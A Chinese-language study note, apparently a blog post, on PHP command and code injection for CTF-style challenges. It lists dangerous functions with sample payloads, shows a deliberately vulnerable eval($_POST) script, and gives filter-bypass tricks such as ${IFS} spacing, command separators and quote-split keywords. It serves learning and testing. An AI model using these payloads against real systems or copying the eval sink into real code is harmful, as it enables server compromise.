命令执行笔记

一、高危函数

1、system

执行系统命令,如果中间有空格,就要加引号

system("ls /")

文件写入

?url=system("echo 111 > flag.php")

2、exec

类似与系统命令执行要加echo

echo exec('whoami')

3、shell_exec

通过shell环境执行命令,将完整的输出以字符串的形式返回

要加echo

echo shell_exec(whoami)

4、passthru

显示原始数据输出

passthru(whoami)

5、``反引号

相当于shell_exec()

echo whoami

二、逻辑运算符饶过

|在cmd中,连接命令,只会执行后面的命令

||前面的命令执行失败才执行后面

&无论全面命令是否执行成功,都会成功执行后面的命令

;每条命令都会执行

&&前面命令为真才会执行后面的命令

三、常见替换

通配符*,?

环境变量${env:0:1}

绕过空格%20,%09,${IFS},$IFS$9,{},> < <>,{cat,flag.txt}

绕过关键字$@,\,’’,””,base64编码

四、关键字替换

more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 ls:查看目录 dir:查看目录

五、常见的连接符

饶过关键字

单引号'

双引号"

反斜杠\

如ca't fla"g

二、代码执行

示例如下

<?php

error_reporting(0);

highlight_file(FILE);

$cmd=$_POST['cmd'];

eval($cmd);

?>

eval()把字符串作为PHP代码执行

eval(phpinfo());

assert()检测指定内容结果为FALSE如果为字符串可代码执行

assert('system("whoami")');

preg_replace() /e执行一个正则表达式的搜索和替换

preg_replace("/test/e",'system("whoami")','test');/e 代码执行版本<=5.6版本

call_user_func()第一个参数作为回调函数调用,第二个未回调参数

call_user_func('system','whoami');

call_user_func_array()第一个参数作为回调函数调用,数组参数作为回调的参数

call_user_func_array('system',array('whoami'));

create_function()匿名函数如果参数未过滤可提供提交特殊字符串导致代码执行

create_function('$test',' ;}phpinfo();/*');php7.2被弃用,在php8.0被移除.

system()执行外部程序,并且显示输出

system('whoami')

exec()执行一个外部程序

echo exec('whoami');

shell_exec()通过shell环境执行命令,并且将完整的输出以字符串的形式返回

echo shell_exec('whoami');

passthru()执行外部程序并且显示数据原始输出

passthru('whoami');

``,反引号等于shell_exec()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值